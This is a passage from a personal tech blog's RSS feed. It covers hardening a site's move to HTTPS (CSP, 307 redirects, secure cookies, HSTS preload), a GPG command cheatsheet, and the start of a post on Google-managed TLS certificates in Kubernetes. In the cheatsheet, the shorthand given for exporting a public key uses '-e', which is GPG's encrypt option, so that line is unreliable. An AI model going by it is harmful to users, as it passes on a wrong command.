&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The upgrade itself is set via response HTTP header:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy: upgrade-insecure-requests; default-src https:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Combined with the previously defined CSP policy, we can now define and activate the final CSP which works in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;enforced&lt;/code&gt; mode:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Content-Security-Policy: upgrade-insecure-requests; default-src data: https: &apos;unsafe-inline&apos; &apos;unsafe-eval&apos; &apos;report-sample&apos;; report-uri https://EXAMPLE.report-uri.com/r/d/csp/reportOnly
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;There are some caveats though for using CSP upgrade-insecure-requests: at the time of writing (October 2019) the specification is still a Candidate Recommendation and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests#Browser_compatibility&quot;&gt;lacks support&lt;/a&gt; from MSIE and Edge browsers. Also it does not protect against initial insecure requests, which can eavesdropped or intercepted.
Therefore we need additional measures (HTTP redirects and HTTP Strict Transport Security) to overcome these limitations.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;http-redirects&quot;&gt;HTTP redirects&lt;/h3&gt;

&lt;p&gt;There are cases when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upgrade-insecure-requests&lt;/code&gt; does not ensure the protocol upgrade:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Web browsers not supporting this CSP directive (MSIE, Edge)&lt;/li&gt;
  &lt;li&gt;Search engines and web crawlers (robots)&lt;/li&gt;
  &lt;li&gt;Service-to-service integrations (when the User Agent is not a web browser)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For such cases, instead of serving the HTML content via HTTP, we need to perform the HTTP to HTTPS redirect. This can be done by responding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;301&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;307&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;308&lt;/code&gt; HTTP Response code with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Location&lt;/code&gt; header containing the URL with upgraded HTTP scheme.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;301&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;302&lt;/code&gt; response codes work well for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; requests, but browsers do not resend full HTTP body if the method is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; or other method containing the HTTP body. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;308&lt;/code&gt; is not supported by legacy browsers.&lt;/p&gt;

&lt;p&gt;Therefore the best option in this case is to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP 307 Temporary Redirect&lt;/code&gt; response.&lt;/p&gt;

&lt;h3 id=&quot;secure-cookies&quot;&gt;Secure cookies&lt;/h3&gt;

&lt;p&gt;HTTP cookies can be sent both via secure and insecure connections. As usually the session identifiers are stored in cookies, exposing this information via unencrypted network might result in the session hijacking attacks. In order to limit the cookies to be sent via HTTPS only, it is needed to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secure&lt;/code&gt; cookie attribute.&lt;/p&gt;

&lt;p&gt;Another modern (but not yet standartized) cookie improvement is &lt;a href=&quot;https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00&quot;&gt;cookie prefixes&lt;/a&gt;.
In order to allow the cookies to be set only from the secure connection, it is suggested to add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__Secure-&lt;/code&gt; prefix to the cookie name.
However this change would require the changes in the application code, so cookies named i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;session_id&lt;/code&gt; would be renamed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__Secure-session_id&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The cookie prefixes are not yet supported by MSIE and Edge browsers, but this is not a breaking change, so still worth implementing.&lt;/p&gt;

&lt;h3 id=&quot;http-strict-transport-security-hsts&quot;&gt;HTTP Strict Transport Security (HSTS)&lt;/h3&gt;

&lt;p&gt;In order to reduce the likelihood of protocol downgrade attacks, the HTTP Strict Transport Security (HSTS) should be used.
It instructs web browsers to remember that all connections to certain (sub)domains need to be done &lt;strong&gt;only&lt;/strong&gt; using HTTPS.&lt;/p&gt;

&lt;p&gt;It is done by sending the HTTP response header:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;31536000&lt;/code&gt; means the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;365&lt;/code&gt; days period in seconds for which this setting should be remembered by the particular user’s web browser.&lt;/p&gt;

&lt;p&gt;I recommend to start from the shorter time (minutes to days), and extend it once everything works as expected.&lt;/p&gt;

&lt;p&gt;If all subdomains for particular domain work under HTTPS, we can also add the directive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;includeSubDomains&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In such case, this header needs to be sent from the root domain, so even if the application runs from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.example.com&lt;/code&gt;, at least one asset (including the HSTS header) needs to be loaded from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com&lt;/code&gt; (non-www) domain.&lt;/p&gt;

&lt;p&gt;Interesting note, confirming the choice of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;307&lt;/code&gt; redirect header in the previous chapter is that Chrome’s internal redirect used for HSTS-based redirects uses the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;307&lt;/code&gt; HTTP response code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP 307
Non-Authoritative-Reason: HSTS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;further-actions&quot;&gt;Further actions&lt;/h2&gt;

&lt;p&gt;After all these measures are applied, we have a web application fully operating via HTTPS. However the following measures can also be considered:&lt;/p&gt;

&lt;h3 id=&quot;hsts-preload&quot;&gt;HSTS Preload&lt;/h3&gt;

&lt;p&gt;While HSTS works for the particular web browser instance, the new visitors of the web application can be attacked.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HSTS Preload&lt;/code&gt; feature can be used to include the certain domain to the &lt;a href=&quot;https://hstspreload.org/&quot;&gt;HSTS Preload&lt;/a&gt; list.
This list is hardcoded in all major web browsers. To include the domain to the list the following needs to be done:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Include the following HSTS header (note that the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;max-age&lt;/code&gt; is equal to 2 years):&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Submit the domain to the &lt;a href=&quot;https://hstspreload.org/&quot;&gt;HSTS Preload&lt;/a&gt; list.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As the side-effect, you need to be aware that there will be no easy way back from HTTPS :)&lt;/p&gt;

&lt;h3 id=&quot;tuning-csp&quot;&gt;Tuning CSP&lt;/h3&gt;

&lt;p&gt;Content Security Policy can ease migration to HTTPS, but its main purpose is to protect agains code injection attacks (i.e. XSS).
Although during the migration project we might whitelist the insecure origins like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe-eval&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unsafe-inline&lt;/code&gt; and others, such CSP policy does not do what it’s meant for. The is even a list of such &lt;a href=&quot;https://uselesscsp.com/&quot;&gt;Useless CSP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The assessment of the application, identification of threats and remediating them, potentially utilizing CSP as a tool is a good follow-up activity.&lt;/p&gt;

&lt;h3 id=&quot;learning-more-about-web-application-security&quot;&gt;Learning more about web application security&lt;/h3&gt;

&lt;p&gt;There are way more topics and techniques to ensure the web application security.&lt;/p&gt;

&lt;p&gt;Learning them and planning for the implementation within the web application should be the further steps.&lt;/p&gt;

&lt;p&gt;As a good start, Mozilla Infosec team has a &lt;a href=&quot;https://infosec.mozilla.org/guidelines/web_security&quot;&gt;good overview&lt;/a&gt; of them ranked according to the security benefit and implementation effort.&lt;/p&gt;
</description>
            <pubDate>Tue, 29 Oct 2019 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2019/10/29/moving-from-http-to-https/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2019/10/29/moving-from-http-to-https/</guid>
            
            
        </item>
        
        <item>
            <title>GPG cheatsheet</title>
            <description>&lt;h2 id=&quot;what-is-gpg&quot;&gt;What is GPG&lt;/h2&gt;

&lt;p&gt;GPG (GNU Privacy Guard) is the open source utility - the implementation of &lt;a href=&quot;https://tools.ietf.org/html/rfc4880&quot;&gt;OpenPGP&lt;/a&gt; protocol used for signing and encrypting data. The protocol utilizes both public-key and symmetric cryptography which ensures the confidentiality and integrity of the data, and also provides the services for key management and discovery.&lt;/p&gt;

&lt;p&gt;The verbose documentation can be found in the 20 year old &lt;a href=&quot;https://www.gnupg.org/gph/en/manual/book1.html&quot;&gt;GPG Handbook&lt;/a&gt;. This page is a quick summary of the most commonly used commands.&lt;/p&gt;

&lt;h2 id=&quot;key-management-functions&quot;&gt;Key management functions&lt;/h2&gt;

&lt;h3 id=&quot;creating-a-keypair&quot;&gt;Creating a keypair&lt;/h3&gt;

&lt;p&gt;OpenPGP private/public key pair is created using the command:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--gen-key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;During the process you will need to provide the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Real name&lt;/code&gt; (full name), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Email address&lt;/code&gt;, (optionally) a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Comment&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Passphrase&lt;/code&gt; to secure the access to your Private Key (Secret Key).&lt;/p&gt;

&lt;p&gt;The public key will be stored in your OpenPGP keychain, most likely in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.gnupg&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;private&lt;/strong&gt; key will be used to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sign&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decrypt&lt;/code&gt; data and must NOT be disclosed, while the &lt;strong&gt;public&lt;/strong&gt; key can be freely distributed and will be used to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;verify&lt;/code&gt; the data signed by you and to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypt&lt;/code&gt; the data which needs to be securely transferred to you.&lt;/p&gt;

&lt;h3 id=&quot;listing-keys&quot;&gt;Listing keys&lt;/h3&gt;

&lt;p&gt;The GPG keys that are stored in the GPG keychain are listed using command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--list-keys&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;exporting-a-public-key&quot;&gt;Exporting a public key&lt;/h3&gt;

&lt;p&gt;To export the public key from the keychain to the ASCII-armored file, use command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--armor&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--output&lt;/span&gt; &amp;lt;FILENAME&amp;gt;.asc &lt;span class=&quot;nt&quot;&gt;--export&lt;/span&gt; &amp;lt;User ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg -a -o &amp;lt;FILENAME&amp;gt;.asc -e &amp;lt;User ID&amp;gt;&lt;/code&gt; as a shorthand.&lt;/p&gt;

&lt;p&gt;Email address is used as the Key ID.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.asc&lt;/code&gt; extension is used for ASCII-armored GPG data. Binary GPG data is usually stored in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gpg&lt;/code&gt; files.&lt;/p&gt;

&lt;h3 id=&quot;uploading-a-public-key-to-a-openpgp-key-server&quot;&gt;Uploading a public key to a OpenPGP key server&lt;/h3&gt;

&lt;p&gt;The public key can be exported to the OpenPGP keyserver for easier discovery and sharing:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--keyserver&lt;/span&gt; &amp;lt;KEYSERVER&amp;gt; &lt;span class=&quot;nt&quot;&gt;--send-keys&lt;/span&gt; &amp;lt;KEY HEX FINGERPRINT&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;for example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg --keyserver keyserver.ubuntu.com --send-keys 0x01CECB1C27D919EEC25DDAA56948635145E59E2&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;retrieving-and-importing-a-public-key&quot;&gt;Retrieving and importing a public key&lt;/h3&gt;

&lt;p&gt;To import the public key &lt;strong&gt;from the file&lt;/strong&gt; to the keychain use command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--import&lt;/span&gt; &amp;lt;FILENAME&amp;gt;.asc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To import the public key from the keyserver by searching it, use command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--keyserver&lt;/span&gt; &amp;lt;KEYSERVER&amp;gt; &lt;span class=&quot;nt&quot;&gt;--search-key&lt;/span&gt; &amp;lt;KEY FINGERPRINT or USER ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;for example: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg --keyserver keyserver.ubuntu.com --search-key 0x01CECB1C27D919EEC25DDAA56948635145E59E24&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ gpg --keyserver keyserver.ubuntu.com --search-key paulius.lescinskas@gmail.com&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;backing-up-the-private-key&quot;&gt;Backing-up the private key&lt;/h3&gt;

&lt;p&gt;The list of private keys can be retrieved by the command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--list-secret-keys&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sec&lt;/code&gt; section contains the cryptography algorithm, expiration date and the key ID.&lt;/p&gt;

&lt;p&gt;The following commands exports the ASCII-armored private key (secret key) with the id &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;KEY ID&amp;gt;&lt;/code&gt; to the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;FILENAME&amp;gt;.asc&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--armor&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--output&lt;/span&gt; &amp;lt;FILENAME&amp;gt;.asc &lt;span class=&quot;nt&quot;&gt;--export-secret-keys&lt;/span&gt; &amp;lt;KEY ID&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg -ao &amp;lt;FILENAME&amp;gt;.asc --export-secret-keys &amp;lt;KEY ID&amp;gt;&lt;/code&gt; as a shorthand.&lt;/p&gt;

&lt;p&gt;The file can then be backed up, and imported to another machine via the aforementioned key import command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--import&lt;/span&gt; &amp;lt;FILENAME&amp;gt;.asc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;data-encryption-and-decryption&quot;&gt;Data encryption and decryption&lt;/h2&gt;

&lt;h3 id=&quot;data-encryption&quot;&gt;Data encryption&lt;/h3&gt;

&lt;p&gt;To encrypt the file, use the following command:&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--encrypt&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--recipient&lt;/span&gt; &amp;lt;RECIPIENT USER ID&amp;gt; &amp;lt;FILENAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg -e -r &amp;lt;RECIPIENT USER ID&amp;gt; &amp;lt;FILENAME&amp;gt;&lt;/code&gt; as a shorthand.&lt;/p&gt;

&lt;p&gt;This will encrypt the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;FILENAME&amp;gt;&lt;/code&gt; file using the key of a user with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;RECIPIENT USER ID&amp;gt;&lt;/code&gt;. The recipient’s public key needs to be imported to the keychain beforehand. The USER ID is usually a user’s email.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;FILENAME&amp;gt;.gpg&lt;/code&gt; will be created with the encrypted data. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--output &amp;lt;FILENAME&amp;gt;&lt;/code&gt; can be used to override the file name. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--armor&lt;/code&gt; key can be used to create the ASCII-armored version of the file. In such case the default file extension will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.asc&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;data-decryption&quot;&gt;Data decryption&lt;/h3&gt;

&lt;p&gt;The encryped file is decrypted by the owner of the private key using the following command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--output&lt;/span&gt; &amp;lt;DECRYPTED OUTPUT FILE NAME&amp;gt; &lt;span class=&quot;nt&quot;&gt;--decrypt&lt;/span&gt; &amp;lt;ENCRYPTED FILE NAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg -o &amp;lt;DECRYPTED OUTPUT FILE NAME&amp;gt; -d &amp;lt;ENCRYPTED FILE NAME&amp;gt;&lt;/code&gt; as a shorthand.&lt;/p&gt;

&lt;p&gt;You will be asked to provide the Passphrase of your private key to decrypt the file.&lt;/p&gt;

&lt;h2 id=&quot;signing-ang-verifying-data&quot;&gt;Signing ang verifying data&lt;/h2&gt;

&lt;h3 id=&quot;signing&quot;&gt;Signing&lt;/h3&gt;

&lt;p&gt;ASCII-armored signature of the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;FILENAME&amp;gt;&lt;/code&gt; is generated using a command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--sign&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--armor&lt;/span&gt; &amp;lt;FILENAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpg -sa &amp;lt;FILENAME&amp;gt;&lt;/code&gt; as a shorthand.&lt;/p&gt;

&lt;p&gt;This will generate a signature file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;FILENAME&amp;gt;.asc&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;verifying-signature&quot;&gt;Verifying signature&lt;/h3&gt;

&lt;p&gt;The signature can be verified using a command:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;gpg &lt;span class=&quot;nt&quot;&gt;--verify&lt;/span&gt; &amp;lt;SIGNATURE FILE&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
            <pubDate>Tue, 08 Oct 2019 00:00:00 -0500</pubDate>
            <link>https://lescinskas.lt/blog/2019/10/08/gpg-cheatsheet/</link>
            <guid isPermaLink="true">https://lescinskas.lt/blog/2019/10/08/gpg-cheatsheet/</guid>
            
            
        </item>
        
        <item>
            <title>Let&apos;s Encrypt managed TLS certificates in Kubernetes (GKE)</title>
            <description>&lt;p&gt;Securing the web application Internet traffic is one of the most common activities as the HTTPS is a must nowadays.
&lt;a href=&quot;https://letsencrypt.org/&quot;&gt;Let’s Encrypt&lt;/a&gt; is becoming the most commonly used Certificate Authority providing the ability to automate the certificate issuing and renewal using &lt;a href=&quot;https://tools.ietf.org/html/rfc8555&quot;&gt;ACME&lt;/a&gt; protocol.&lt;/p&gt;

&lt;p&gt;With growing Kubernetes (K8s) popularity, the web applications hosted in such environment meet the same requirements, but face different challenges; mostly due to not-so-trivial configuration and complicated certificate renewal.&lt;/p&gt;

&lt;p&gt;If you are using Google Kubernetes Engine (GKE) on Google Cloud Platform (CGP), it is possible to use &lt;a href=&quot;https://cloud.google.com/kubernetes-engine/docs/how-to/managed-certs&quot;&gt;managed Google TLS service&lt;/a&gt; to automate the TLS provisioning and certificate renewal.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;It’s important to mention though that such implementation is vendor (Google) specific and might result in the vendor lock, so keep that in mind.&lt;/p&gt;

  &lt;p&gt;Also, this service is currently in Beta stage, so it has some limitations and potential issues.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The workflow of using the managed TLS certificates is relatively simple:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Create K8s ManagedCertificate object(s)&lt;/li&gt;
  &lt;li&gt;Configure the Ingress controller to use these certificates&lt;/li&gt;
  &lt;li&gt;Make an HTTPS request to your domain&lt;/li&gt;
  &lt;li&gt;Wait 10-20 minutes for magic to happen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The K8s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ManagedCertificates&lt;/code&gt; object structure is the following (real world example from my blog):&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;networking.gke.io/v1beta1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ManagedCertificate&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;lescinskas-lt-cert&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;domains&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;lescinskas.lt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The object is created as usual in K8s - using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl apply&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you need to configure the Ingress controller with multiple domains, each (sub)domain needs to be set up as a separate object (current service limitation).&lt;/p&gt;

&lt;p&gt;After setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ManagedCertificates&lt;/code&gt; up, the annotation needs to be added to the Ingress configuration and applied as usual:&lt;/p&gt;

